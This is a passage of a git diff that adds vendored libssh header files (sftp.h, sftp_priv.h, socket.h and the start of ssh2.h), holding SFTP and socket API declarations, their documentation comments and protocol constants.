sftp_session_struct* sftp_session; +typedef struct sftp_status_message_struct* sftp_status_message; +typedef struct sftp_statvfs_struct* sftp_statvfs_t; + +struct sftp_session_struct { + ssh_session session; + ssh_channel channel; + int server_version; + int client_version; + int version; + sftp_request_queue queue; + uint32_t id_counter; + int errnum; + void **handles; + sftp_ext ext; + sftp_packet read_packet; +}; + +struct sftp_packet_struct { + sftp_session sftp; + uint8_t type; + ssh_buffer payload; +}; + +/* file handler */ +struct sftp_file_struct { + sftp_session sftp; + char *name; + uint64_t offset; + ssh_string handle; + int eof; + int nonblocking; +}; + +struct sftp_dir_struct { + sftp_session sftp; + char *name; + ssh_string handle; /* handle to directory */ + ssh_buffer buffer; /* contains raw attributes from server which haven't been parsed */ + uint32_t count; /* counts the number of following attributes structures into buffer */ + int eof; /* end of directory listing */ +}; + +struct sftp_message_struct { + sftp_session sftp; + uint8_t packet_type; + ssh_buffer payload; + uint32_t id; +}; + +/* this is a bunch of all data that could be into a message */ +struct sftp_client_message_struct { + sftp_session sftp; + uint8_t type; + uint32_t id; + char *filename; /* can be "path" */ + uint32_t flags; + sftp_attributes attr; + ssh_string handle; + uint64_t offset; + uint32_t len; + int attr_num; + ssh_buffer attrbuf; /* used by sftp_reply_attrs */ + ssh_string data; /* can be newpath of rename() */ + ssh_buffer complete_message; /* complete message in case of retransmission*/ + char *str_data; /* cstring version of data */ + char *submessage; /* for extended messages */ +}; + +struct sftp_request_queue_struct { + sftp_request_queue next; + sftp_message message; +}; + +/* SSH_FXP_MESSAGE described into .7 page 26 */ +struct sftp_status_message_struct { + uint32_t id; + uint32_t status; + ssh_string error_unused; /* not used anymore */ + ssh_string lang_unused; /* not used anymore */ + char *errormsg; + char *langmsg; +}; + +struct sftp_attributes_struct { + char *name; + char *longname; /* ls -l output on openssh, not reliable else */ + uint32_t flags; + uint8_t type; + uint64_t size; + uint32_t uid; + uint32_t gid; + char *owner; /* set if openssh and version 4 */ + char *group; /* set if openssh and version 4 */ + uint32_t permissions; + uint64_t atime64; + uint32_t atime; + uint32_t atime_nseconds; + uint64_t createtime; + uint32_t createtime_nseconds; + uint64_t mtime64; + uint32_t mtime; + uint32_t mtime_nseconds; + ssh_string acl; + uint32_t extended_count; + ssh_string extended_type; + ssh_string extended_data; +}; + +/** + * @brief SFTP statvfs structure. + */ +struct sftp_statvfs_struct { + uint64_t f_bsize; /** file system block size */ + uint64_t f_frsize; /** fundamental fs block size */ + uint64_t f_blocks; /** number of blocks (unit f_frsize) */ + uint64_t f_bfree; /** free blocks in file system */ + uint64_t f_bavail; /** free blocks for non-root */ + uint64_t f_files; /** total file inodes */ + uint64_t f_ffree; /** free file inodes */ + uint64_t f_favail; /** free file inodes for to non-root */ + uint64_t f_fsid; /** file system id */ + uint64_t f_flag; /** bit mask of f_flag values */ + uint64_t f_namemax; /** maximum filename length */ +}; + +/** + * @brief Creates a new sftp session. + * + * This function creates a new sftp session and allocates a new sftp channel + * with the server inside of the provided ssh session. This function call is + * usually followed by the sftp_init(), which initializes SFTP protocol itself. + * + * @param session The ssh session to use. + * + * @return A new sftp session or NULL on error. + * + * @see sftp_free() + * @see sftp_init() + */ +LIBSSH_API sftp_session sftp_new(ssh_session session); + +/** + * @brief Start a new sftp session with an existing channel. + * + * @param session The ssh session to use. + * @param channel An open session channel with subsystem already allocated + * + * @return A new sftp session or NULL on error. + * + * @see sftp_free() + */ +LIBSSH_API sftp_session sftp_new_channel(ssh_session session, ssh_channel channel); + + +/** + * @brief Close and deallocate a sftp session. + * + * @param sftp The sftp session handle to free. + */ +LIBSSH_API void sftp_free(sftp_session sftp); + +/** + * @brief Initialize the sftp protocol with the server. + * + * This function involves the SFTP protocol initialization (as described + * in the SFTP specification), including the version and extensions negotiation. + * + * @param sftp The sftp session to initialize. + * + * @return 0 on success, < 0 on error with ssh error set. + * + * @see sftp_new() + */ +LIBSSH_API int sftp_init(sftp_session sftp); + +/** + * @brief Get the last sftp error. + * + * Use this function to get the latest error set by a posix like sftp function. + * + * @param sftp The sftp session where the error is saved. + * + * @return The saved error (see server responses), < 0 if an error + * in the function occurred. + * + * @see Server responses + */ +LIBSSH_API int sftp_get_error(sftp_session sftp); + +/** + * @brief Get the count of extensions provided by the server. + * + * @param sftp The sftp session to use. + * + * @return The count of extensions provided by the server, 0 on error or + * not available. + */ +LIBSSH_API unsigned int sftp_extensions_get_count(sftp_session sftp); + +/** + * @brief Get the name of the extension provided by the server. + * + * @param sftp The sftp session to use. + * + * @param indexn The index number of the extension name you want. + * + * @return The name of the extension. + */ +LIBSSH_API const char *sftp_extensions_get_name(sftp_session sftp, unsigned int indexn); + +/** + * @brief Get the data of the extension provided by the server. + * + * This is normally the version number of the extension. + * + * @param sftp The sftp session to use. + * + * @param indexn The index number of the extension data you want. + * + * @return The data of the extension. + */ +LIBSSH_API const char *sftp_extensions_get_data(sftp_session sftp, unsigned int indexn); + +/** + * @brief Check if the given extension is supported. + * + * @param sftp The sftp session to use. + * + * @param name The name of the extension. + * + * @param data The data of the extension. + * + * @return 1 if supported, 0 if not. + * + * Example: + * + * @code + * sftp_extension_supported(sftp, "statvfs@openssh.com", "2"); + * @endcode + */ +LIBSSH_API int sftp_extension_supported(sftp_session sftp, const char *name, + const char *data); + +/** + * @brief Open a directory used to obtain directory entries. + * + * @param session The sftp session handle to open the directory. + * @param path The path of the directory to open. + * + * @return A sftp directory handle or NULL on error with ssh and + * sftp error set. + * + * @see sftp_readdir + * @see sftp_closedir + */ +LIBSSH_API sftp_dir sftp_opendir(sftp_session session, const char *path); + +/** + * @brief Get a single file attributes structure of a directory. + * + * @param session The sftp session handle to read the directory entry. + * @param dir The opened sftp directory handle to read from. + * + * @return A file attribute structure or NULL at the end of the + * directory. + * + * @see sftp_opendir() + * @see sftp_attribute_free() + * @see sftp_closedir() + */ +LIBSSH_API sftp_attributes sftp_readdir(sftp_session session, sftp_dir dir); + +/** + * @brief Tell if the directory has reached EOF (End Of File). + * + * @param dir The sftp directory handle. + * + * @return 1 if the directory is EOF, 0 if not. + * + * @see sftp_readdir() + */ +LIBSSH_API int sftp_dir_eof(sftp_dir dir); + +/** + * @brief Get information about a file or directory. + * + * @param session The sftp session handle. + * @param path The path to the file or directory to obtain the + * information. + * + * @return The sftp attributes structure of the file or directory, + * NULL on error with ssh and sftp error set. + * + * @see sftp_get_error() + */ +LIBSSH_API sftp_attributes sftp_stat(sftp_session session, const char *path); + +/** + * @brief Get information about a file or directory. + * + * Identical to sftp_stat, but if the file or directory is a symbolic link, + * then the link itself is stated, not the file that it refers to. + * + * @param session The sftp session handle. + * @param path The path to the file or directory to obtain the + * information. + * + * @return The sftp attributes structure of the file or directory, + * NULL on error with ssh and sftp error set. + * + * @see sftp_get_error() + */ +LIBSSH_API sftp_attributes sftp_lstat(sftp_session session, const char *path); + +/** + * @brief Get information about a file or directory from a file handle. + * + * @param file The sftp file handle to get the stat information. + * + * @return The sftp attributes structure of the file or directory, + * NULL on error with ssh and sftp error set. + * + * @see sftp_get_error() + */ +LIBSSH_API sftp_attributes sftp_fstat(sftp_file file); + +/** + * @brief Free a sftp attribute structure. + * + * @param file The sftp attribute structure to free. + */ +LIBSSH_API void sftp_attributes_free(sftp_attributes file); + +/** + * @brief Close a directory handle opened by sftp_opendir(). + * + * @param dir The sftp directory handle to close. + * + * @return Returns SSH_NO_ERROR or SSH_ERROR if an error occurred. + */ +LIBSSH_API int sftp_closedir(sftp_dir dir); + +/** + * @brief Close an open file handle. + * + * @param file The open sftp file handle to close. + * + * @return Returns SSH_NO_ERROR or SSH_ERROR if an error occurred. + * + * @see sftp_open() + */ +LIBSSH_API int sftp_close(sftp_file file); + +/** + * @brief Open a file on the server. + * + * @param session The sftp session handle. + * + * @param file The file to be opened. + * + * @param accesstype Is one of O_RDONLY, O_WRONLY or O_RDWR which request + * opening the file read-only,write-only or read/write. + * Acesss may also be bitwise-or'd with one or more of + * the following: + * O_CREAT - If the file does not exist it will be + * created. + * O_EXCL - When used with O_CREAT, if the file already + * exists it is an error and the open will fail. + * O_TRUNC - If the file already exists it will be + * truncated. + * + * @param mode Mode specifies the permissions to use if a new file is + * created. It is modified by the process's umask in + * the usual way: The permissions of the created file are + * (mode & ~umask) + * + * @return A sftp file handle, NULL on error with ssh and sftp + * error set. + * + * @see sftp_get_error() + */ +LIBSSH_API sftp_file sftp_open(sftp_session session, const char *file, int accesstype, + mode_t mode); + +/** + * @brief Make the sftp communication for this file handle non blocking. + * + * @param[in] handle The file handle to set non blocking. + */ +LIBSSH_API void sftp_file_set_nonblocking(sftp_file handle); + +/** + * @brief Make the sftp communication for this file handle blocking. + * + * @param[in] handle The file handle to set blocking. + */ +LIBSSH_API void sftp_file_set_blocking(sftp_file handle); + +/** + * @brief Read from a file using an opened sftp file handle. + * + * @param file The opened sftp file handle to be read from. + * + * @param buf Pointer to buffer to receive read data. + * + * @param count Size of the buffer in bytes. + * + * @return Number of bytes written, < 0 on error with ssh and sftp + * error set. + * + * @see sftp_get_error() + */ +LIBSSH_API ssize_t sftp_read(sftp_file file, void *buf, size_t count); + +/** + * @brief Start an asynchronous read from a file using an opened sftp file handle. + * + * Its goal is to avoid the slowdowns related to the request/response pattern + * of a synchronous read. To do so, you must call 2 functions: + * + * sftp_async_read_begin() and sftp_async_read(). + * + * The first step is to call sftp_async_read_begin(). This function returns a + * request identifier. The second step is to call sftp_async_read() using the + * returned identifier. + * + * @param file The opened sftp file handle to be read from. + * + * @param len Size to read in bytes. + * + * @return An identifier corresponding to the sent request, < 0 on + * error. + * + * @warning When calling this function, the internal offset is + * updated corresponding to the len parameter. + * + * @warning A call to sftp_async_read_begin() sends a request to + * the server. When the server answers, libssh allocates + * memory to store it until sftp_async_read() is called. + * Not calling sftp_async_read() will lead to memory + * leaks. + * + * @see sftp_async_read() + * @see sftp_open() + */ +LIBSSH_API int sftp_async_read_begin(sftp_file file, uint32_t len); + +/** + * @brief Wait for an asynchronous read to complete and save the data. + * + * @param file The opened sftp file handle to be read from. + * + * @param data Pointer to buffer to receive read data. + * + * @param len Size of the buffer in bytes. It should be bigger or + * equal to the length parameter of the + * sftp_async_read_begin() call. + * + * @param id The identifier returned by the sftp_async_read_begin() + * function. + * + * @return Number of bytes read, 0 on EOF, SSH_ERROR if an error + * occurred, SSH_AGAIN if the file is opened in nonblocking + * mode and the request hasn't been executed yet. + * + * @warning A call to this function with an invalid identifier + * will never return. + * + * @see sftp_async_read_begin() + */ +LIBSSH_API int sftp_async_read(sftp_file file, void *data, uint32_t len, uint32_t id); + +/** + * @brief Write to a file using an opened sftp file handle. + * + * @param file Open sftp file handle to write to. + * + * @param buf Pointer to buffer to write data. + * + * @param count Size of buffer in bytes. + * + * @return Number of bytes written, < 0 on error with ssh and sftp + * error set. + * + * @see sftp_open() + * @see sftp_read() + * @see sftp_close() + */ +LIBSSH_API ssize_t sftp_write(sftp_file file, const void *buf, size_t count); + +/** + * @brief Seek to a specific location in a file. + * + * @param file Open sftp file handle to seek in. + * + * @param new_offset Offset in bytes to seek. + * + * @return 0 on success, < 0 on error. + */ +LIBSSH_API int sftp_seek(sftp_file file, uint32_t new_offset); + +/** + * @brief Seek to a specific location in a file. This is the + * 64bit version. + * + * @param file Open sftp file handle to seek in. + * + * @param new_offset Offset in bytes to seek. + * + * @return 0 on success, < 0 on error. + */ +LIBSSH_API int sftp_seek64(sftp_file file, uint64_t new_offset); + +/** + * @brief Report current byte position in file. + * + * @param file Open sftp file handle. + * + * @return The offset of the current byte relative to the beginning + * of the file associated with the file descriptor. < 0 on + * error. + */ +LIBSSH_API unsigned long sftp_tell(sftp_file file); + +/** + * @brief Report current byte position in file. + * + * @param file Open sftp file handle. + * + * @return The offset of the current byte relative to the beginning + * of the file associated with the file descriptor. < 0 on + * error. + */ +LIBSSH_API uint64_t sftp_tell64(sftp_file file); + +/** + * @brief Rewinds the position of the file pointer to the beginning of the + * file. + * + * @param file Open sftp file handle. + */ +LIBSSH_API void sftp_rewind(sftp_file file); + +/** + * @brief Unlink (delete) a file. + * + * @param sftp The sftp session handle. + * + * @param file The file to unlink/delete. + * + * @return 0 on success, < 0 on error with ssh and sftp error set. + * + * @see sftp_get_error() + */ +LIBSSH_API int sftp_unlink(sftp_session sftp, const char *file); + +/** + * @brief Remove a directory. + * + * @param sftp The sftp session handle. + * + * @param directory The directory to remove. + * + * @return 0 on success, < 0 on error with ssh and sftp error set. + * + * @see sftp_get_error() + */ +LIBSSH_API int sftp_rmdir(sftp_session sftp, const char *directory); + +/** + * @brief Create a directory. + * + * @param sftp The sftp session handle. + * + * @param directory The directory to create. + * + * @param mode Specifies the permissions to use. It is modified by the + * process's umask in the usual way: + * The permissions of the created file are (mode & ~umask) + * + * @return 0 on success, < 0 on error with ssh and sftp error set. + * + * @see sftp_get_error() + */ +LIBSSH_API int sftp_mkdir(sftp_session sftp, const char *directory, mode_t mode); + +/** + * @brief Rename or move a file or directory. + * + * @param sftp The sftp session handle. + * + * @param original The original url (source url) of file or directory to + * be moved. + * + * @param newname The new url (destination url) of the file or directory + * after the move. + * + * @return 0 on success, < 0 on error with ssh and sftp error set. + * + * @see sftp_get_error() + */ +LIBSSH_API int sftp_rename(sftp_session sftp, const char *original, const char *newname); + +/** + * @brief Set file attributes on a file, directory or symbolic link. + * + * Note, that this function can only set time values using 32 bit values due to + * the restrictions in the SFTP protocol version 3 implemented by libssh. + * The support for 64 bit time values was introduced in SFTP version 5, which is + * not implemented by libssh nor any major SFTP servers. + * + * @param sftp The sftp session handle. + * + * @param file The file which attributes should be changed. + * + * @param attr The file attributes structure with the attributes set + * which should be changed. + * + * @return 0 on success, < 0 on error with ssh and sftp error set. + * + * @see sftp_get_error() + */ +LIBSSH_API int sftp_setstat(sftp_session sftp, const char *file, sftp_attributes attr); + +/** + * @brief Change the file owner and group + * + * @param sftp The sftp session handle. + * + * @param file The file which owner and group should be changed. + * + * @param owner The new owner which should be set. + * + * @param group The new group which should be set. + * + * @return 0 on success, < 0 on error with ssh and sftp error set. + * + * @see sftp_get_error() + */ +LIBSSH_API int sftp_chown(sftp_session sftp, const char *file, uid_t owner, gid_t group); + +/** + * @brief Change permissions of a file + * + * @param sftp The sftp session handle. + * + * @param file The file which owner and group should be changed. + * + * @param mode Specifies the permissions to use. It is modified by the + * process's umask in the usual way: + * The permissions of the created file are (mode & ~umask) + * + * @return 0 on success, < 0 on error with ssh and sftp error set. + * + * @see sftp_get_error() + */ +LIBSSH_API int sftp_chmod(sftp_session sftp, const char *file, mode_t mode); + +/** + * @brief Change the last modification and access time of a file. + * + * @param sftp The sftp session handle. + * + * @param file The file which owner and group should be changed. + * + * @param times A timeval structure which contains the desired access + * and modification time. + * + * @return 0 on success, < 0 on error with ssh and sftp error set. + * + * @see sftp_get_error() + */ +LIBSSH_API int sftp_utimes(sftp_session sftp, const char *file, const struct timeval *times); + +/** + * @brief Create a symbolic link. + * + * @param sftp The sftp session handle. + * + * @param target Specifies the target of the symlink. + * + * @param dest Specifies the path name of the symlink to be created. + * + * @return 0 on success, < 0 on error with ssh and sftp error set. + * + * @see sftp_get_error() + */ +LIBSSH_API int sftp_symlink(sftp_session sftp, const char *target, const char *dest); + +/** + * @brief Read the value of a symbolic link. + * + * @param sftp The sftp session handle. + * + * @param path Specifies the path name of the symlink to be read. + * + * @return The target of the link, NULL on error. + * The caller needs to free the memory + * using ssh_string_free_char(). + * + * @see sftp_get_error() + */ +LIBSSH_API char *sftp_readlink(sftp_session sftp, const char *path); + +/** + * @brief Get information about a mounted file system. + * + * @param sftp The sftp session handle. + * + * @param path The pathname of any file within the mounted file system. + * + * @return A statvfs structure or NULL on error. + * + * @see sftp_get_error() + */ +LIBSSH_API sftp_statvfs_t sftp_statvfs(sftp_session sftp, const char *path); + +/** + * @brief Get information about a mounted file system. + * + * @param file An opened file. + * + * @return A statvfs structure or NULL on error. + * + * @see sftp_get_error() + */ +LIBSSH_API sftp_statvfs_t sftp_fstatvfs(sftp_file file); + +/** + * @brief Free the memory of an allocated statvfs. + * + * @param statvfs_o The statvfs to free. + */ +LIBSSH_API void sftp_statvfs_free(sftp_statvfs_t statvfs_o); + +/** + * @brief Synchronize a file's in-core state with storage device + * + * This calls the "fsync@openssh.com" extension. You should check if the + * extensions is supported using: + * + * @code + * int supported = sftp_extension_supported(sftp, "fsync@openssh.com", "1"); + * @endcode + * + * @param file The opened sftp file handle to sync + * + * @return 0 on success, < 0 on error with ssh and sftp error set. + */ +LIBSSH_API int sftp_fsync(sftp_file file); + +/** + * @brief Canonicalize a sftp path. + * + * @param sftp The sftp session handle. + * + * @param path The path to be canonicalized. + * + * @return A pointer to the newly allocated canonicalized path, + * NULL on error. The caller needs to free the memory + * using ssh_string_free_char(). + */ +LIBSSH_API char *sftp_canonicalize_path(sftp_session sftp, const char *path); + +/** + * @brief Get the version of the SFTP protocol supported by the server + * + * @param sftp The sftp session handle. + * + * @return The server version. + */ +LIBSSH_API int sftp_server_version(sftp_session sftp); + +#ifdef WITH_SERVER +/** + * @brief Create a new sftp server session. + * + * @param session The ssh session to use. + * + * @param chan The ssh channel to use. + * + * @return A new sftp server session. + */ +LIBSSH_API sftp_session sftp_server_new(ssh_session session, ssh_channel chan); + +/** + * @brief Initialize the sftp server. + * + * @param sftp The sftp session to init. + * + * @return 0 on success, < 0 on error. + */ +LIBSSH_API int sftp_server_init(sftp_session sftp); + +/** + * @brief Close and deallocate a sftp server session. + * + * @param sftp The sftp session handle to free. + */ +LIBSSH_API void sftp_server_free(sftp_session sftp); +#endif /* WITH_SERVER */ + +/* sftpserver.c */ + +LIBSSH_API sftp_client_message sftp_get_client_message(sftp_session sftp); +LIBSSH_API void sftp_client_message_free(sftp_client_message msg); +LIBSSH_API uint8_t sftp_client_message_get_type(sftp_client_message msg); +LIBSSH_API const char *sftp_client_message_get_filename(sftp_client_message msg); +LIBSSH_API void sftp_client_message_set_filename(sftp_client_message msg, const char *newname); +LIBSSH_API const char *sftp_client_message_get_data(sftp_client_message msg); +LIBSSH_API uint32_t sftp_client_message_get_flags(sftp_client_message msg); +LIBSSH_API const char *sftp_client_message_get_submessage(sftp_client_message msg); +LIBSSH_API int sftp_send_client_message(sftp_session sftp, sftp_client_message msg); +LIBSSH_API int sftp_reply_name(sftp_client_message msg, const char *name, + sftp_attributes attr); +LIBSSH_API int sftp_reply_handle(sftp_client_message msg, ssh_string handle); +LIBSSH_API ssh_string sftp_handle_alloc(sftp_session sftp, void *info); +LIBSSH_API int sftp_reply_attr(sftp_client_message msg, sftp_attributes attr); +LIBSSH_API void *sftp_handle(sftp_session sftp, ssh_string handle); +LIBSSH_API int sftp_reply_status(sftp_client_message msg, uint32_t status, const char *message); +LIBSSH_API int sftp_reply_names_add(sftp_client_message msg, const char *file, + const char *longname, sftp_attributes attr); +LIBSSH_API int sftp_reply_names(sftp_client_message msg); +LIBSSH_API int sftp_reply_data(sftp_client_message msg, const void *data, int len); +LIBSSH_API void sftp_handle_remove(sftp_session sftp, void *handle); + +/* SFTP commands and constants */ +#define SSH_FXP_INIT 1 +#define SSH_FXP_VERSION 2 +#define SSH_FXP_OPEN 3 +#define SSH_FXP_CLOSE 4 +#define SSH_FXP_READ 5 +#define SSH_FXP_WRITE 6 +#define SSH_FXP_LSTAT 7 +#define SSH_FXP_FSTAT 8 +#define SSH_FXP_SETSTAT 9 +#define SSH_FXP_FSETSTAT 10 +#define SSH_FXP_OPENDIR 11 +#define SSH_FXP_READDIR 12 +#define SSH_FXP_REMOVE 13 +#define SSH_FXP_MKDIR 14 +#define SSH_FXP_RMDIR 15 +#define SSH_FXP_REALPATH 16 +#define SSH_FXP_STAT 17 +#define SSH_FXP_RENAME 18 +#define SSH_FXP_READLINK 19 +#define SSH_FXP_SYMLINK 20 + +#define SSH_FXP_STATUS 101 +#define SSH_FXP_HANDLE 102 +#define SSH_FXP_DATA 103 +#define SSH_FXP_NAME 104 +#define SSH_FXP_ATTRS 105 + +#define SSH_FXP_EXTENDED 200 +#define SSH_FXP_EXTENDED_REPLY 201 + +/* attributes */ +/* sftp draft is completely braindead : version 3 and 4 have different flags for same constants */ +/* and even worst, version 4 has same flag for 2 different constants */ +/* follow up : i won't develop any sftp4 compliant library before having a clarification */ + +#define SSH_FILEXFER_ATTR_SIZE 0x00000001 +#define SSH_FILEXFER_ATTR_PERMISSIONS 0x00000004 +#define SSH_FILEXFER_ATTR_ACCESSTIME 0x00000008 +#define SSH_FILEXFER_ATTR_ACMODTIME 0x00000008 +#define SSH_FILEXFER_ATTR_CREATETIME 0x00000010 +#define SSH_FILEXFER_ATTR_MODIFYTIME 0x00000020 +#define SSH_FILEXFER_ATTR_ACL 0x00000040 +#define SSH_FILEXFER_ATTR_OWNERGROUP 0x00000080 +#define SSH_FILEXFER_ATTR_SUBSECOND_TIMES 0x00000100 +#define SSH_FILEXFER_ATTR_EXTENDED 0x80000000 +#define SSH_FILEXFER_ATTR_UIDGID 0x00000002 + +/* types */ +#define SSH_FILEXFER_TYPE_REGULAR 1 +#define SSH_FILEXFER_TYPE_DIRECTORY 2 +#define SSH_FILEXFER_TYPE_SYMLINK 3 +#define SSH_FILEXFER_TYPE_SPECIAL 4 +#define SSH_FILEXFER_TYPE_UNKNOWN 5 + +/** + * @name Server responses + * + * @brief Responses returned by the sftp server. + * @{ + */ + +/** No error */ +#define SSH_FX_OK 0 +/** End-of-file encountered */ +#define SSH_FX_EOF 1 +/** File doesn't exist */ +#define SSH_FX_NO_SUCH_FILE 2 +/** Permission denied */ +#define SSH_FX_PERMISSION_DENIED 3 +/** Generic failure */ +#define SSH_FX_FAILURE 4 +/** Garbage received from server */ +#define SSH_FX_BAD_MESSAGE 5 +/** No connection has been set up */ +#define SSH_FX_NO_CONNECTION 6 +/** There was a connection, but we lost it */ +#define SSH_FX_CONNECTION_LOST 7 +/** Operation not supported by the server */ +#define SSH_FX_OP_UNSUPPORTED 8 +/** Invalid file handle */ +#define SSH_FX_INVALID_HANDLE 9 +/** No such file or directory path exists */ +#define SSH_FX_NO_SUCH_PATH 10 +/** An attempt to create an already existing file or directory has been made */ +#define SSH_FX_FILE_ALREADY_EXISTS 11 +/** We are trying to write on a write-protected filesystem */ +#define SSH_FX_WRITE_PROTECT 12 +/** No media in remote drive */ +#define SSH_FX_NO_MEDIA 13 + +/** @} */ + +/* file flags */ +#define SSH_FXF_READ 0x01 +#define SSH_FXF_WRITE 0x02 +#define SSH_FXF_APPEND 0x04 +#define SSH_FXF_CREAT 0x08 +#define SSH_FXF_TRUNC 0x10 +#define SSH_FXF_EXCL 0x20 +#define SSH_FXF_TEXT 0x40 + +/* file type flags */ +#define SSH_S_IFMT 00170000 +#define SSH_S_IFSOCK 0140000 +#define SSH_S_IFLNK 0120000 +#define SSH_S_IFREG 0100000 +#define SSH_S_IFBLK 0060000 +#define SSH_S_IFDIR 0040000 +#define SSH_S_IFCHR 0020000 +#define SSH_S_IFIFO 0010000 + +/* rename flags */ +#define SSH_FXF_RENAME_OVERWRITE 0x00000001 +#define SSH_FXF_RENAME_ATOMIC 0x00000002 +#define SSH_FXF_RENAME_NATIVE 0x00000004 + +#define SFTP_OPEN SSH_FXP_OPEN +#define SFTP_CLOSE SSH_FXP_CLOSE +#define SFTP_READ SSH_FXP_READ +#define SFTP_WRITE SSH_FXP_WRITE +#define SFTP_LSTAT SSH_FXP_LSTAT +#define SFTP_FSTAT SSH_FXP_FSTAT +#define SFTP_SETSTAT SSH_FXP_SETSTAT +#define SFTP_FSETSTAT SSH_FXP_FSETSTAT +#define SFTP_OPENDIR SSH_FXP_OPENDIR +#define SFTP_READDIR SSH_FXP_READDIR +#define SFTP_REMOVE SSH_FXP_REMOVE +#define SFTP_MKDIR SSH_FXP_MKDIR +#define SFTP_RMDIR SSH_FXP_RMDIR +#define SFTP_REALPATH SSH_FXP_REALPATH +#define SFTP_STAT SSH_FXP_STAT +#define SFTP_RENAME SSH_FXP_RENAME +#define SFTP_READLINK SSH_FXP_READLINK +#define SFTP_SYMLINK SSH_FXP_SYMLINK +#define SFTP_EXTENDED SSH_FXP_EXTENDED + +/* openssh flags */ +#define SSH_FXE_STATVFS_ST_RDONLY 0x1 /* read-only */ +#define SSH_FXE_STATVFS_ST_NOSUID 0x2 /* no setuid */ + +#ifdef __cplusplus +} +#endif + +#endif /* SFTP_H */ + +/** @} */ diff --git a/vendor/libssh/include/libssh/sftp_priv.h b/vendor/libssh/include/libssh/sftp_priv.h new file mode 100644 index 0000000..005bf85 --- /dev/null +++ b/vendor/libssh/include/libssh/sftp_priv.h @@ -0,0 +1,40 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2003-2008 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef SFTP_PRIV_H +#define SFTP_PRIV_H + +#ifdef __cplusplus +extern "C" { +#endif + +sftp_packet sftp_packet_read(sftp_session sftp); +int sftp_packet_write(sftp_session sftp, uint8_t type, ssh_buffer payload); +void sftp_packet_free(sftp_packet packet); +int buffer_add_attributes(ssh_buffer buffer, sftp_attributes attr); +sftp_attributes sftp_parse_attr(sftp_session session, + ssh_buffer buf, + int expectname); + +#ifdef __cplusplus +} +#endif + +#endif /* SFTP_PRIV_H */ diff --git a/vendor/libssh/include/libssh/socket.h b/vendor/libssh/include/libssh/socket.h new file mode 100644 index 0000000..cdd3c83 --- /dev/null +++ b/vendor/libssh/include/libssh/socket.h @@ -0,0 +1,72 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef SOCKET_H_ +#define SOCKET_H_ + +#include "libssh/callbacks.h" +struct ssh_poll_handle_struct; +/* socket.c */ + +struct ssh_socket_struct; +typedef struct ssh_socket_struct* ssh_socket; + +int ssh_socket_init(void); +void ssh_socket_cleanup(void); +ssh_socket ssh_socket_new(ssh_session session); +void ssh_socket_reset(ssh_socket s); +void ssh_socket_free(ssh_socket s); +void ssh_socket_set_fd(ssh_socket s, socket_t fd); +socket_t ssh_socket_get_fd(ssh_socket s); +void ssh_socket_set_connected(ssh_socket s, struct ssh_poll_handle_struct *p); +int ssh_socket_unix(ssh_socket s, const char *path); +void ssh_execute_command(const char *command, socket_t in, socket_t out); +#ifndef _WIN32 +int ssh_socket_connect_proxycommand(ssh_socket s, const char *command); +#endif +void ssh_socket_close(ssh_socket s); +int ssh_socket_write(ssh_socket s,const void *buffer, uint32_t len); +int ssh_socket_is_open(ssh_socket s); +int ssh_socket_fd_isset(ssh_socket s, fd_set *set); +void ssh_socket_fd_set(ssh_socket s, fd_set *set, socket_t *max_fd); +void ssh_socket_set_fd_in(ssh_socket s, socket_t fd); +void ssh_socket_set_fd_out(ssh_socket s, socket_t fd); +int ssh_socket_nonblocking_flush(ssh_socket s); +void ssh_socket_set_write_wontblock(ssh_socket s); +void ssh_socket_set_read_wontblock(ssh_socket s); +void ssh_socket_set_except(ssh_socket s); +int ssh_socket_get_status(ssh_socket s); +int ssh_socket_get_poll_flags(ssh_socket s); +int ssh_socket_buffered_write_bytes(ssh_socket s); +int ssh_socket_data_available(ssh_socket s); +int ssh_socket_data_writable(ssh_socket s); +int ssh_socket_set_nonblocking(socket_t fd); +int ssh_socket_set_blocking(socket_t fd); + +void ssh_socket_set_callbacks(ssh_socket s, ssh_socket_callbacks callbacks); +int ssh_socket_pollcallback(struct ssh_poll_handle_struct *p, socket_t fd, int revents, void *v_s); +struct ssh_poll_handle_struct * ssh_socket_get_poll_handle(ssh_socket s); + +int ssh_socket_connect(ssh_socket s, + const char *host, + uint16_t port, + const char *bind_addr); + +#endif /* SOCKET_H_ */ diff --git a/vendor/libssh/include/libssh/ssh2.h b/vendor/libssh/include/libssh/ssh2.h new file mode 100644 index 0000000..3521433 --- /dev/null +++ b/vendor/libssh/include/libssh/ssh2.h @@ -0,0 +1,81 @@ +#ifndef __SSH2_H +#define __SSH2_H + +#define SSH2_MSG_DISCONNECT 1 +#define SSH2_MSG_IGNORE 2 +#define SSH2_MSG_UNIMPLEMENTED 3 +#define SSH2_MSG_DEBUG 4 +#define SSH2_MSG_SERVICE_REQUEST 5 +#define SSH2_MSG_SERVICE_ACCEPT 6 +#define SSH2_MSG_EXT_INFO 7 + +#define SSH2_MSG_KEXINIT 20 +#define SSH2_MSG_NEWKEYS 21 + +#define SSH2_MSG_KEXDH_INIT 30 +#define SSH2_MSG_KEXDH_REPLY 31 +#define SSH2_MSG_KEX_ECDH_INIT 30 +#define SSH2_MSG_KEX_ECDH_REPLY 31 +#define SSH2_MSG_ECMQV_INIT 30 +#define SSH2_MSG_ECMQV_REPLY 31 + +#define SSH2_MSG_KEX_DH_GEX_REQUEST_OLD 30 +#define 